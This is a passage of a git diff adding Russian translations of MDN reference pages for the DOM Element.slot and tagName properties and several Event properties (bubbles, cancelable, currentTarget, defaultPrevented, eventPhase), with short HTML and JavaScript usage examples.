+  - API
+  - DOM
+  - Element
+  - Property
+  - Reference
+  - shadow dom
+translation_of: Web/API/Element/slot
+---
+<p>{{APIRef("Shadow DOM")}}</p>
+
+<p>Свойство <strong><code>slot</code></strong> интерфейса {{domxref("Element")}} возращает имя слота теневого DOM, в который вставлен элемент.</p>
+
+<p>Слот slot это заполнитель внутри <a href="/en-US/docs/Web/Web_Components">веб компонента</a>, который пользователи могут заполнить собственной разметкой (смотри <a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Использование шаблонов и слотов</a> для получения дополнительной информации).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>aString</em> = <em>element</em>.slot
+<em>element</em>.slot = <em>aString</em>
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("DOMString")}}.</p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<p>В нашем <a href="https://github.com/mdn/web-components-examples/tree/master/simple-template">примере простого шаблона</a> (<a href="https://mdn.github.io/web-components-examples/simple-template/">смотри в прямом эфире</a>), мы создаем тривиальный пример пользовательского элемента с именем <code>&lt;my-paragraph&gt;</code>, в котором прикрепляется теневой корень, а затем заполняется с использованием содержимого шаблона, содержащего слот с именем <code>my-text</code>.</p>
+
+<p>Когда в документе используется <code>&lt;my-paragraph&gt;</code>, слот заполняется слот-элементом, включая его в элемент с атрибутом <code><a href="/en-US/docs/Web/HTML/Global_attributes/slot">slot</a></code> со значением <code>my-text</code>. Вот один из таких примеров:</p>
+
+<pre class="brush: html">&lt;my-paragraph&gt;
+  &lt;span slot="my-text"&gt;Let's have some different text!&lt;/span&gt;
+&lt;/my-paragraph&gt;</pre>
+
+<p>В нашем JavaScript файле мы получаем ссылку {{htmlelement("span")}}, показанную выше, а затем регестрием ссылку на имя соответствующего элемента <code>&lt;slot&gt;</code>.</p>
+
+<pre class="brush: js">let slottedSpan = document.querySelector('my-paragraph span')
+console.log(slottedSpan.slot); // logs <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">'my-text'</span></span></span></span></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-element-slot','slot')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("api.Element.slot")}}</p>
+</div>
diff --git a/files/ru/web/api/element/tagname/index.html b/files/ru/web/api/element/tagname/index.html
new file mode 100644
index 0000000000..dcc8395756
--- /dev/null
+++ b/files/ru/web/api/element/tagname/index.html
@@ -0,0 +1,47 @@
+---
+title: Element.tagName
+slug: Web/API/Element/tagName
+translation_of: Web/API/Element/tagName
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Возвращает HTML-тег элемента <em>("div", "p", "a" и т.д).</em></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="eval"><em>var elementName</em> = element.tagName;
+</pre>
+
+<ul>
+ <li><strong><code>elementName</code></strong> это строка, содержащая название HTML-тега элемента<code><strong> element.</strong></code></li>
+</ul>
+
+<div class="warning">
+<p>В XML (и XML-подобных языках) возвращаемое значение будет в нижнем регистре, а в HTML - в верхнем.</p>
+</div>
+
+<div class="note">
+<p>Существует более древнее и обыденное свойство <a href="/en/DOM/Node.nodeName" title="En/DOM/Node.nodeName">nodeName</a>!</p>
+</div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Предположим, есть на странице элемент с id <strong>"born"</strong>:</p>
+
+<pre class="eval">&lt;span id="born"&gt;Я родился...&lt;/span&gt;
+</pre>
+
+<p>Давайте узнаем его HTML-тег:</p>
+
+<pre class="brush: js">var span = document.getElementById("born");
+alert(span.tagName); //"SPAN"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-104682815">DOM Level 2 Core: tagName</a></li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
diff --git a/files/ru/web/api/event/bubbles/index.html b/files/ru/web/api/event/bubbles/index.html
new file mode 100644
index 0000000000..c232c3f044
--- /dev/null
+++ b/files/ru/web/api/event/bubbles/index.html
@@ -0,0 +1,44 @@
+---
+title: Event.bubbles
+slug: Web/API/Event/bubbles
+translation_of: Web/API/Event/bubbles
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Summary" name="Summary">Описание</h3>
+
+<p>Указывает, является ли данное событие всплывающим внутри DOM.</p>
+
+<div class="blockIndicator note">
+<p>Более подробно про всплытие событий: <a href="https://wiki.developer.mozilla.org/ru/docs/Learn/JavaScript/Building_blocks/%D0%A1%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D1%8F#%D0%92%D1%81%D0%BF%D0%BB%D1%8B%D1%82%D0%B8%D0%B5_%D0%B8_%D0%BF%D0%B5%D1%80%D0%B5%D1%85%D0%B2%D0%B0%D1%82_%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D0%B9">Всплытие и перехват событий</a></p>
+</div>
+
+<h3 id="Синтаксис">Синтаксис</h3>
+
+<pre class="notranslate">event.bubbles</pre>
+
+<p>Возвращает булево значение <code>true</code>, если событие является всплывающим внутри DOM.</p>
+
+<h3 id="Syntax" name="Syntax">Пример</h3>
+
+<pre class="eval notranslate"><em>var bool</em> = event.bubbles;
+</pre>
+
+<p><code>bool</code> содержит <code>true</code> или <code>false</code> в зависимости от того, может событие быть всплывающим внутри DOM или нет</p>
+
+<h3 id="Example" name="Example">Пример</h3>
+
+<pre class="notranslate">function handleInput(e) {
+  // Проверяем всплывает ли событие и ...
+  if (!e.bubbles) {
+    // ... пропускаем событие сюда если нет
+    passItOn(e);
+  }
+
+  // Уже всплыло
+  doOutput(e);
+}</pre>
+
+<div class="blockIndicator note">
+<p>Только некоторые события могут всплывать. У таких событий это свойство возвращает <code>true</code>. Вы можете использовать это свойство, чтобы проверить, может ли событие всплывать.</p>
+</div>
diff --git a/files/ru/web/api/event/cancelable/index.html b/files/ru/web/api/event/cancelable/index.html
new file mode 100644
index 0000000000..413d1e5344
--- /dev/null
+++ b/files/ru/web/api/event/cancelable/index.html
@@ -0,0 +1,38 @@
+---
+title: Event.cancelable
+slug: Web/API/Event/cancelable
+translation_of: Web/API/Event/cancelable
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Указывает, является ли событие отменяемым.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>bool</var> = <em>event</em>.cancelable
+</pre>
+
+<ul>
+ <li>Возвращает булево значение <code>true</code>, если событие может быть отменено.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var <var>bool</var> = <em>event</em>.cancelable;
+</pre>
+
+<p><code>bool</code> содержит <code>true</code> или <code>false</code> в зависимости от того, можно ли предотвратить действие события по умолчанию или нет.</p>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>Независимо от того, может событие быть отменено или нет, свойство определяется при инициализации события.</p>
+
+<p>Вызов на событии метода {{domxref("event.preventDefault", "preventDefault()")}} отменяет событие. При этом действие по умолчанию, связанное с событием, не выполняется.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event-canCancel">DOM Level 2 Events: cancelable</a></li>
+</ul>
diff --git a/files/ru/web/api/event/comparison_of_event_targets/index.html b/files/ru/web/api/event/comparison_of_event_targets/index.html
new file mode 100644
index 0000000000..0c05e9118f
--- /dev/null
+++ b/files/ru/web/api/event/comparison_of_event_targets/index.html
@@ -0,0 +1,164 @@
+---
+title: Сравнение разных Event Targets
+slug: Web/API/Event/Comparison_of_Event_Targets
+translation_of: Web/API/Event/Comparison_of_Event_Targets
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Event_targets" name="Event_targets">Event targets</h3>
+
+<p>Легко запутаться в том, какую цель (target) следует изучить при написании обработчика событий. В этой статье разъяснено использование свойств target.</p>
+
+<p>Существуют 5 целей для рассмотрения:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Property</th>
+   <th>Defined in</th>
+   <th>Purpose</th>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.target" title="en/DOM/event.target">event.target</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2/events.html#Events-interface">DOM Event Interface</a></td>
+   <td>
+    <p>Элемент DOM слева от вызова этого события, например:</p>
+
+    <pre class="eval">
+<em>element</em>.dispatchEvent(<em>event</em>)
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.currentTarget" title="en/DOM/event.currentTarget">event.currentTarget</a></td>
+   <td><a class="external" href="https://www.w3.org/TR/DOM-Level-2/events.html#Events-interface">DOM Event Interface</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2/events.html#Events-EventTarget"><code>EventTarget</code></a>, чьи <a class="external" href="http://www.w3.org/TR/DOM-Level-2/events.html#Events-EventListener"><code>EventListeners</code></a> в настоящее время обрабатываются. По мере того, как происходит захват и всплытие событий, это значение изменяется.</td>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.relatedTarget" title="en/DOM/event.relatedTarget">event.relatedTarget</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2/events.html#Events-MouseEvent">DOM MouseEvent Interface</a></td>
+   <td>Определяет вторичную цель для события.</td>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.explicitOriginalTarget" title="en/DOM/event.explicitOriginalTarget">event.explicitOriginalTarget</a></td>
+   <td>{{ Source("/dom/public/idl/events/nsIDOMNSEvent.idl", "nsIDOMNSEvent.idl") }}</td>
+   <td>{{ Non-standard_inline() }} Если по какой-либо причине событие было перенацелено, кроме анонимного пересечения границ, событие будет установлено на цель до перенацеливания. Например, события мыши перенацеливаются на их родительский узел, когда они встречаются над текстовыми узлами ({{Bug ("185889")}}), и в этом случае <code>.target</code> покажет на родителя и <code>.explicitOriginalTarget</code> покажет на текстовый узел.<br>
+    В отличие от <code>.originalTarget</code> — <code>.explicitOriginalTarget</code> никогда не будет содержать анонимный контент.</td>
+  </tr>
+  <tr>
+   <td><a href="/en/DOM/event.originalTarget" title="en/DOM/event.originalTarget">event.originalTarget</a></td>
+   <td>{{ Source("/dom/public/idl/events/nsIDOMNSEvent.idl", "nsIDOMNSEvent.idl") }}</td>
+   <td>{{ Non-standard_inline() }} Первоначальная цель события перед любым перенацеливанием. Подробнее см. <a href="/en-US/docs/XBL/XBL_1.0_Reference/Anonymous_Content#Event_Flow_and_Targeting" title="en/XBL/XBL_1.0_Reference/Anonymous_Content#Event_Flow_and_Targeting">Анонимный контент#Event_Flow_and_Targeting</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Use_of_explicitOriginalTarget_and_originalTarget" name="Use_of_explicitOriginalTarget_and_originalTarget">Использование <code>explicitOriginalTarget</code> и <code>originalTarget</code></h3>
+
+<p>TODO: Only available in a Mozilla-based browser? TODO: Only suitable for extension-developers?</p>
+
+<h3 id="Examples" name="Examples">Примеры</h3>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;meta http-equiv="X-UA-Compatible" content="IE=edge"&gt;
+    &lt;title&gt;Comparison of Event Targets&lt;/title&gt;
+    &lt;style&gt;
+        table {
+            border-collapse: collapse;
+            height: 150px;
+            width: 100%;
+        }
+        td {
+            border: 1px solid #ccc;
+            font-weight: bold;
+            padding: 5px;
+            min-height: 30px;
+        }
+        .standard {
+            background-color: #99ff99;
+        }
+        .non-standard {
+            background-color: #902D37;
+        }
+    &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;table&gt;
+    &lt;thead&gt;
+        &lt;tr&gt;
+            &lt;td class="standard"&gt;Изначальная цель, отправляющая событие &lt;small&gt;event.target&lt;/small&gt;&lt;/td&gt;
+            &lt;td class="standard"&gt;Цель, кто прослушивает события &lt;small&gt;event.currentTarget&lt;/small&gt;&lt;/td&gt;
+            &lt;td class="standard"&gt;Идентифицировать другой элемент (если он есть), участвующий в событии &lt;small&gt;event.relatedTarget&lt;/small&gt;&lt;/td&gt;
+            &lt;td class="non-standard"&gt;Если по какой-то причине произошло перенацеливание события &lt;small&gt;event.explicitOriginalTarget&lt;/small&gt; содержит цель перед перенацеливанием (никогда не содержит анонимных целей)&lt;/td&gt;
+            &lt;td class="non-standard"&gt;Если по какой-то причине произошло перенацеливание события &lt;small&gt;event.originalTarget&lt;/small&gt; содержит цель перед перенацеливанием (может содержать анонимные цели)&lt;/td&gt;
+        &lt;/tr&gt;
+    &lt;/thead&gt;
+    &lt;tr&gt;
+        &lt;td id="target"&gt;&lt;/td&gt;
+        &lt;td id="currentTarget"&gt;&lt;/td&gt;
+        &lt;td id="relatedTarget"&gt;&lt;/td&gt;
+        &lt;td id="explicitOriginalTarget"&gt;&lt;/td&gt;
+        &lt;td id="originalTarget"&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+&lt;/table&gt;
+&lt;p&gt;Нажав на текст, вы увидите разницу между explicitOriginalTarget, originalTarget и target&lt;/p&gt;
+&lt;script&gt;
+    function handleClicks(e) {
+        document.getElementById('target').innerHTML = e.target;
+        document.getElementById('currentTarget').innerHTML = e.currentTarget;
+        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;
+        document.getElementById('explicitOriginalTarget').innerHTML = e.explicitOriginalTarget;
+        document.getElementById('originalTarget').innerHTML = e.originalTarget;
+    }
+
+    function handleMouseover(e) {
+        document.getElementById('target').innerHTML = e.target;
+        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;
+    }
+
+    document.addEventListener('click', handleClicks, false);
+    document.addEventListener('mouseover', handleMouseover, false);
+&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="Use_of_target_and_relatedTarget" name="Use_of_target_and_relatedTarget">Использование <code>target</code> и <code>relatedTarget</code></h3>
+
+<p>Свойство <code>relatedTarget</code> для события <code>mouseover</code> содержит узел, над которым ранее была указана мышь. Для события <code>mouseout</code> он удерживает узел, к которому движется мышь.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Тип события</th>
+   <th><a href="/en/DOM/event.target" title="en/DOM/event.target">event.target</a></th>
+   <th><a href="/en/DOM/event.relatedTarget" title="en/DOM/event.relatedTarget">event.relatedTarget</a></th>
+  </tr>
+  <tr>
+   <td><code>mouseover</code></td>
+   <td>EventTarget, в который входим указателем</td>
+   <td>EventTarget, из которого выходим указателем</td>
+  </tr>
+  <tr>
+   <td><code>mouseout</code></td>
+   <td>EventTarget, из которого выходим указателем</td>
+   <td>EventTarget, в который входим указателем</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>TODO: Также требуется описание событий <code>dragenter</code> и <code>dragexit</code>.</p>
+
+<h4 id="Example" name="Example">Пример</h4>
+
+<pre class="eval">&lt;hbox id="outer"&gt;
+  &lt;hbox id="inner"
+        onmouseover="dump('mouseover ' + event.relatedTarget.id + ' &gt; ' + event.target.id + '\n');"
+        onmouseout="dump('mouseout  ' + event.target.id + ' &gt; ' + event.relatedTarget.id + '\n');"
+        style="margin: 100px; border: 10px solid black; width: 100px; height: 100px;" /&gt;
+&lt;/hbox&gt;
+</pre>
+
+<p> </p>
diff --git a/files/ru/web/api/event/currenttarget/index.html b/files/ru/web/api/event/currenttarget/index.html
new file mode 100644
index 0000000000..c16a91e1f0
--- /dev/null
+++ b/files/ru/web/api/event/currenttarget/index.html
@@ -0,0 +1,107 @@
+---
+title: Event.currentTarget
+slug: Web/API/Event/currentTarget
+translation_of: Web/API/Event/currentTarget
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Определяет элемент, в котором в данный момент обрабатывается событие, при движении события внутри DOM. Всегда совпадает элементом, на котором обработчик события был назначен, в отличие от свойства <code>event.target</code>, идентифицирующего элемент, на котором событие возникло.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p><code>event.currentTarget</code> используется, когда один и тот же обработчик события присваивается нескольким элементам.</p>
+
+<pre class="brush: js notranslate">function hide(e){
+  e.currentTarget.style.visibility = "hidden";
+  // Когда данная функция используется в качестве обработчика события: this === e.currentTarget
+}
+
+var ps = document.getElementsByTagName('p');
+
+for(var i = 0; i &lt; ps.length; i++){
+  ps[i].addEventListener('click', hide, false);
+}
+
+// click around and make paragraphs disappear
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-currentTarget", "Event.currentTarget")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>
+    <table>
+     <tbody>
+      <tr>
+       <td>Изначальное определение. </td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] В Internet Explorer с 6 по 8, событийная модель иная. Слушатели событий привяззываются к нестандартному методу <code>element.attachEvent</code>. В данной модели не существует эквивалента <code>event.currentTarget</code> и <code>this</code> - это глобальный объект. Единственный способ имитировать свойство <code>event.currentTarget</code> - обернуть ваш обработчик в функцию, вызывающую обработчик с использованием <code>Function.prototype.call</code> с элементом в качестве первого аргумента. Данным способом <code>this</code> примет ожидаемое значение.</p>
+
+<h2 id="См.также">См.также</h2>
+
+<p><a href="/en-US/docs/Web/API/Event/Comparison_of_Event_Targets">Comparison of Event Targets</a></p>
diff --git a/files/ru/web/api/event/defaultprevented/index.html b/files/ru/web/api/event/defaultprevented/index.html
new file mode 100644
index 0000000000..6edec91a84
--- /dev/null
+++ b/files/ru/web/api/event/defaultprevented/index.html
@@ -0,0 +1,104 @@
+---
+title: Event.defaultPrevented
+slug: Web/API/Event/defaultPrevented
+translation_of: Web/API/Event/defaultPrevented
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Возвращает boolean-значение, информирующее о том, был ли вызван {{ domxref("event.preventDefault()") }} в текущем обработчике события.</p>
+
+<div class="note"><strong>Note:</strong> Используйте это свойство вместо <code>устаревшего метода getPreventDefault()</code> (смотри {{ bug(691151) }}).</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js"><code>var defaultWasPrevented = event.defaultPrevented;</code></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre> if (e.defaultPrevented) {
+   /* по умолчанию не выполнится */
+ }
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент.</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-defaultprevented', 'Event.defaultPrevented()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-defaultprevented', 'Event.defaultPrevented')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами"><span style="font-size: 1.71428571428571rem; letter-spacing: -0.021em; line-height: 1;">Совместимость с браузерами</span></h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatChrome(18) }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}</td>
+   <td>{{ CompatIE(9.0) }}</td>
+   <td>{{ CompatOpera(11.0) }}</td>
+   <td>{{ CompatSafari("5.0") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatSafari(5.0) }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+</ul>
diff --git a/files/ru/web/api/event/event/index.html b/files/ru/web/api/event/event/index.html
new file mode 100644
index 0000000000..ac31f2ee21
--- /dev/null
+++ b/files/ru/web/api/event/event/index.html
@@ -0,0 +1,73 @@
+---
+title: Event()
+slug: Web/API/Event/Event
+translation_of: Web/API/Event/Event
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Конструктор <code><strong>Event()</strong></code> создает новый объект события {{domxref("Event")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"> <em>event</em> = new Event(<em>typeArg</em>, <em>eventInit</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>typeArg</em></dt>
+ <dd>Строковое ({{domxref("DOMString")}}) значение,<span id="result_box" lang="ru"><span> представляющее имя события.</span></span></dd>
+ <dt><em>eventInit </em>{{optional_inline}}</dt>
+</dl>
+
+<dl>
+ <dd>Is an <code>EventInit</code> dictionary, having the following fields:
+
+ <ul>
+  <li><code>"bubbles"</code>: (<span class="short_text" id="result_box" lang="ru"><span>Необязательный</span></span>) логическое значение ({{jsxref("Boolean")}}) указывающее – будет ли событие всплывающим. По умолчанию <code>false</code>.</li>
+  <li><code>"cancelable"</code>: (<span class="short_text" id="result_box" lang="ru"><span>Необязательный</span></span>) логическое значение ({{jsxref("Boolean")}}) указывает, может ли событие быть отменено. По умолчанию <code>false</code>.</li>
+  <li><code>"composed"</code>: (<span class="short_text" id="result_box" lang="ru"><span>Необязательный</span></span>) логическое значение {{jsxref("Boolean")}} указывающее – будет ли событие всплывать наружу за пределы shadow root. По умолчанию <code>false</code>.<span style="display: none;"> </span></li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">//  <span id="result_box" lang="ru"><span>создать событие "look", событие всплывающее и не может быть отменено</span></span>
+
+var evt = new Event("look", {"bubbles":true, "cancelable":false});
+document.dispatchEvent(evt);
+
+// событие может быть инициализировано на любом элементе, а не только на документе
+myDiv.dispatchEvent(evt);
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-event','Event()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Event.Event")}}</p>
+
+<h2 id="Смотрите_также"><span class="short_text" id="result_box" lang="ru"><span>Смотрите также</span></span></h2>
+
+<ul>
+ <li>{{domxref("Event")}}</li>
+</ul>
diff --git a/files/ru/web/api/event/eventphase/index.html b/files/ru/web/api/event/eventphase/index.html
new file mode 100644
index 0000000000..7ae3ee150d
--- /dev/null
+++ b/files/ru/web/api/event/eventphase/index.html
@@ -0,0 +1,144 @@
+---
+title: Event.eventPhase
+slug: Web/API/Event/eventPhase
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Gecko DOM Reference
+  - Property
+  - Reference
+translation_of: Web/API/Event/eventPhase
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Summary" name="Summary">Общая информация</h3>
+
+<p>Отображает текущую фазу процесса обработки события.</p>
+
+<h3 id="Syntax" name="Syntax">Синтаксис</h3>
+
+<pre class="eval"><em>var phase</em> = event.eventPhase;
+</pre>
+
+<p>Возвращает целое число, соответствующее одной из 4 констант:</p>
+
+<ul>
+ <li><code>Event.NONE = 0</code></li>
+ <li><code>Event.CAPTURING_PHASE = 1</code></li>
+ <li><code>Event.AT_TARGET = 2</code></li>
+ <li><code>Event.BUBBLING_PHASE = 3</code></li>
+</ul>
+
+<p>Смысл констант смотри в <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">section 3.1, Event dispatch and DOM event flow</a>, спецификации DOM Level 3.</p>
+
+<h3 id="Пример">Пример</h3>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt; &lt;title&gt;Event Propagation&lt;/title&gt;
+  &lt;style type="text/css"&gt;
+    body { font-family:'Trebuchet MS'; }
+    div { margin: 20px; padding: 4px; border: thin black solid; }
+    #divInfo { margin: 18px; padding: 8px; background-color:white; font-size:80%; }
+  &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h4&gt;Event Propagation Chain&lt;/h4&gt;
+  &lt;ul&gt;
+    &lt;li&gt;Click 'd1'&lt;/li&gt;
+    &lt;li&gt;Analyse event propagation chain&lt;/li&gt;
+    &lt;li&gt;Click next div and repeat the experience&lt;/li&gt;
+    &lt;li&gt;Change Capturing mode&lt;/li&gt;
+    &lt;li&gt;Repeat the experience&lt;/li&gt;
+  &lt;/ul&gt;
+  &lt;input type="checkbox" id="chCapture" /&gt; Use Capturing
+  &lt;div id="d1"&gt;d1
+    &lt;div id="d2"&gt;d2
+      &lt;div id="d3"&gt;d3
+        &lt;div id="d4"&gt;d4&lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div id="divInfo"&gt;&lt;/div&gt;
+  &lt;script&gt;
+    var
+      clear = false,
+      divInfo = null,
+      divs = null,
+      useCapture = false;
+  window.onload = function ()
+  {
+    divInfo = document.getElementById("divInfo");
+    divs = document.getElementsByTagName('div');
+    chCapture = document.getElementById("chCapture");
+    chCapture.onclick = function ()
+    {
+      RemoveListeners();
+      AddListeners();
+    }
+    Clear();
+    AddListeners();
+  }
+  function RemoveListeners()
+  {
+    for (var i = 0; i &lt; divs.length; i++)
+    {
+      var d = divs[i];
+      if (d.id != "divInfo")
+      {
+        d.removeEventListener("click", OnDivClick, true);
+        d.removeEventListener("click", OnDivClick, false);
+      }
+    }
+  }
+  function AddListeners()
+  {
+    for (var i = 0; i &lt; divs.length; i++)
+    {
+      var d = divs[i];
+      if (d.id != "divInfo")
+      {
+        d.addEventListener("click", OnDivClick, false);
+        if (chCapture.checked)
+          d.addEventListener("click", OnDivClick, true);
+        d.onmousemove = function () { clear = true; };
+      }
+    }
+  }
+  function OnDivClick(e)
+  {
+    if (clear)
+    {
+      Clear();
+      clear = false;
+    }
+
+    if (e.eventPhase == 2)
+      e.currentTarget.style.backgroundColor = 'red';
+
+    var level =
+        e.eventPhase == 0 ? "none" :
+        e.eventPhase == 1 ? "capturing" :
+        e.eventPhase == 2 ? "target" :
